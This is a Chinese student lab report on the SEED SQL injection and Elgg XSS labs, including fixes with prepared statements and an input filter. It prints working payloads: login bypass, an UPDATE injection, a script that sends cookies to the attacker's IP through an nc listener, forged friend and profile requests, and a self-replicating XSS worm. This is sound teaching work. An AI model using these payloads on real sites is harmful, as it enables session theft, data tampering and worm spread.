20253915 2024-2025-2 《网络攻防实践》实践10报告
1.实践内容
1.1 SQL 注入相关知识点
1.SQL 注入原理:Web 应用将用户输入直接拼接到 SQL 语句中执行,攻击者通过构造恶意输入改变 SQL 语义,实现非法操作。
2.注入类型
(1)SELECT 注入:绕过登录、查询敏感数据;
(2)UPDATE 注入:篡改数据库数据、越权修改信息。
3.核心攻击手法:单引号闭合、#/--注释后续语句、拼接恶意 SQL 逻辑。
4.防御技术
(1)预处理语句(Prepared Statement):参数化查询,分离 SQL 指令与用户数据;
(2)输入校验、权限最小化、敏感数据加密。
5.相关技术:MySQL 数据库操作、PHP 与 MySQL 交互、Apache Web 服务部署。
1.2 XSS 跨站脚本相关知识点
1.XSS 原理:Web 应用未对用户输入的脚本代码做过滤转义,导致脚本在浏览器端执行,劫持用户会话。
2.实验涉及类型:存储型 XSS(恶意代码存入数据库,所有访问者均会触发,危害最大)。
3.攻击能力:弹窗验证、窃取 Cookie、会话劫持、自动操作(加好友 / 改资料)、XSS 蠕虫自我传播。
4.防御技术
(1)输入过滤:HTMLawed 插件过滤恶意标签与脚本;
(2)输出编码:对用户提交内容转义后再展示;
(3)启用 CSP、HttpOnly Cookie 禁止 JS 读取 Cookie。
5.相关技术:JavaScript 基础、Ajax 异步请求、Cookie 机制、Elgg CMS 框架安全机制。
1.3 基础环境与工具知识点
- 虚拟机配置:VMware 磁盘挂载、硬件虚拟化、网络 NAT 模式配置;
- Linux 基础命令:服务管理、文件编辑、端口监听(nc)、网络查看(ifconfig);
- Web 安全核心:用户输入校验、最小权限原则、数据与指令分离。
2.实践过程
2.1 SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
2.1.1 安装虚拟机:
· 打开 VMware,点击「创建新的虚拟机」
· 选择 「自定义(高级)」 → 下一步
· 硬件兼容性保持默认 → 下一步
· 安装来源选择 「我以后再安装操作系统」 → 下一步
· 客户机操作系统选「Linux」,版本选 「Ubuntu(32 位)」 → 下一步
· 自定义虚拟机名称和存储位置(剩余空间至少 20GB)→ 下一步
① 加载下载的 vmdk 文件

② 主要配置如下:

③ 进入「处理器」→「虚拟化引擎」,勾选:虚拟化 Intel VT-x/EPT 或 AMD-V/RVI

④ 进入「显示器」,勾选「加速 3D 图形」,显存设置为 128MB 以上

⑤ 确认「网络适配器」为「启动时连接」

⑥ 开启虚拟机:

⑦ 修改主机名:hostname 20253915fxf

2.1.2 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
① 输入sudo service apache2 status 开启apache服务

② 输入mysql -u root -p 输入密码seedubuntu 登录MySQL数据库

③ 输入show databases; 查看mysql中已有的数据库

④ 输入use Users 和 show tables;进行切换数据库,并在查看Users数据库

⑤ 输入select * from credential; 查看credential中所有记录

⑥ 输入select * from credential where Name = 'Ted'; 查询Name为Ted的相关记录

2.1.3 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
① 在浏览器中输入www.SEEDLabSQLInjection.com 进入网页

② 选择view page source查看网页源码,发现登陆的表单中使用 get 方法访问 unsafe_home.php,

③ 浏览器中输入地址/var/www/SQLInjection/unsafe_home.php查看相关源码



可以看到,该程序针对admin和普通用户具有不同的处理方法
④ 因此,我们可以构造 Admin'#,这样会使得#后的Password判断不会执行,通过这样的方法我们便可以在不知道密码的情况下以admin用户进行登录

可以看见登录成功

2.1.4 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
① 查看 Edit_Profile 页面的源代码,可以看到表单依旧是以 get 方式将数据发到 unsafe_edit_backend.php 页面

查看源代码:右键-view page source

② 查看 unsafe_edit_backend.php页面
其地址为/var/www/SQLInjection/unsafe_edit_backend.php


③ 先使用用户名Samy’#进行登录


④ 构造 $input_nickname 的值来进行SQL注入攻击.登录成功进入后点击Edit Profile进行修改,输入', salary='20253915' where Name='Samy';#把Samy的Salary修改为20253915,修改好后点击Save,可以看到已经修改完成了


2.1.5 SQL对抗:修复上述SQL注入攻击漏洞。
① 对unsafe_home.php文件中更改sql语句
//原来的php代码:
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';";
//修改后的php代码:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?;");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

修改后再次登录发现失败

② 对unsafe_edit_backend.php更改sql语句
//原来的php代码
if($input_pwd!=''){
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
}else{
// if passowrd field is empty.
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
}
//修改后的php代码:
if($input_pwd!=''){
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("sssss", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber);
}else{
// if passowrd field is empty.
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email, $input_address, $input_phonenumber);
}

修改完成后再次进入修改发现没有反应。
2.2 SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
2.2.1 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
首先打开seedubuntu中的浏览器进入网址 http://www.xsslabelgg.com ,网址可以在文件夹里找就可以了
点击Log in进行登录,这里的用户名和密码为:
用户名 密码
Alice seedalice
Boby seedboby
Samy seedsamy
Admin seedelgg
我们选择使用Alice的身份登录,用户名为Alice,密码为seedalice。

点击”profile”--“Alice”--“Edit Profile”,然后在“Brief description”中写入以下内容:<script>alert("20253915");</script> //弹出警告窗口,显示“20253915”


2.2.2 弹窗显示cookie信息:将cookie信息显示。
把填入“Brief description”中的内容改为:<script> alert(document.cookie);</script>

回车显示弹窗信息

2.2.3 窃取受害者的cookies:将cookie发送给攻击者。
打开终端查看一下虚拟机的IP地址为192.168.199.128

再次进入编辑界面,在Brief description中输入
<script>
document.write('<img src=http://192.168.199.128:1921?c=' + escape(document.cookie) + '>');
</script>

在终端中输入nc -l 1921 -v监听1921端口,然后在网页上登录Samy访问Alice,可以看到监听到以下内容(其实之后只要有用户访问Alice的主页,netcat就会接收到该用户的cookie)

2.2.4 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
以用户 Alice 的身份登录,然后访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby,点击“Add Friend”按钮。

我们发现,点击按钮后浏览器向http://www.xsslabelgg.com/action/friends/add发送了GET请求,并附带了以下三个参数:
friend=45:请求添加的对象id
__elgg_ts=1715849723:时间戳
__elgg_token=8s6rxvluUUz-8kY8-VbeoQ:令牌

我们根据这个方法可以得知:
Alice的id为44
Boby的id为45
Charlie的id为46
Samy的id为47
Admin的id为36
点击这条新指令得到这条指令的url,可以根据这条url构造payload,在Alice的About me栏中添加这段代码,可以做到无需审核直接添加好友。(注意,这里必须点击About me框右上角的edit html,才可以进行添加这段代码,否则添加不成功)
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>

可以看到已经成功添加好友。

2.2.5 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
将这一部分代码放入Alice用户profile的About Me中,首先编辑profile,然后单击About me最右侧的Edit HTML,在文本框中填入上述代码保存即可


然后退出Alice,使用Boby登录。确认Boby的profile为空。

在成员中访问Alice主页,再通过左上角返回自己的profile,即可发现自己的About me已经被修改。

2.2.6 编写XSS蠕虫。
① 在alice账户的about me中填写,并保存。
这是一段XSS蠕虫病毒代码,不仅会偷偷篡改个人资料,还会把自身代码复制到个人简介里,实现自我复制、无限传播,访问者打开页面就会中招。
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>20252804tangxinci"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var aliceGuid=45;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

② 登录boby账户并访问alice主页后,可以看到个人信息已经被强制修改

2.2.7 对抗XSS攻击。
① 登录admin账号,链接为www.xsslabelgg.com/admin,“plugin”——>“HTMLawed” ——>改为"Deactivate" 。(注意跟之前登录方式不一样)

② 重新模拟XSS攻击后发现攻击失败。

3.学习中遇到的问题及解决
- 问题1:加载 SEEDUbuntu-16.04-32bit.vmdk 磁盘文件失败,虚拟机无法启动;开启后执行sudo命令提示unable to resolve host
- 问题1解决方案:
- 新建虚拟机时选择自定义高级,直接挂载现有 vmdk 文件,不重新安装系统;
- 处理器设置中必须勾选虚拟化 Intel VT-x/EPT,否则系统无法正常运行;
- 编辑/etc/hosts文件,添加127.0.0.1 主机名,修复主机名解析失败问题。
- 问题2:Apache2 服务未启动,无法访问 Web 实验页面;MySQL 登录失败,提示密码错
- 问题2解决方案:执行sudo service apache2 start手动启动 Web 服务,用status命令查看运行状态;
4.实践总结
本次实验基于 SEEDUbuntu 虚拟机,完成SQL 注入攻击与防御、XSS 跨站脚本攻击与防御两大核心任务,完整复现了 Web 典型漏洞的攻击流程与防护手段。
1.SQL 注入实验
- 成功利用SELECT 注入绕过登录验证:构造Admin'#闭合 SQL 语句,注释密码校验逻辑,无密码登录管理员账号;
- 完成UPDATE 注入越权修改数据:通过员工资料修改页面,拼接恶意 SQL 修改他人薪资,实现数据篡改;
- 掌握防御方法:将 PHP 原生字符串拼接 SQL,替换为预处理语句 + 参数绑定,彻底修复注入漏洞。
2.XSS 跨站脚本实验 - 实现存储型 XSS 基础攻击:插入 JS 代码实现弹窗、窃取 Cookie、获取用户信息;
- 完成高级攻击:利用 Ajax 自动添加好友、篡改他人资料,编写自我复制 XSS 蠕虫,实现访问即感染、批量传播;
- 掌握防御手段:启用 Elgg 的 HTMLawed 输入过滤插件,对用户提交内容做转义处理,阻止恶意脚本执行。
3.整体收获
实验直观验证了用户输入不可信的 Web 安全核心原则,未做过滤的输入会导致严重漏洞;同时掌握了 SQL 注入、存储型 XSS 的攻击思路与标准化防御方案,理解了漏洞产生的本质与修复逻辑。
浙公网安备 33010602011771号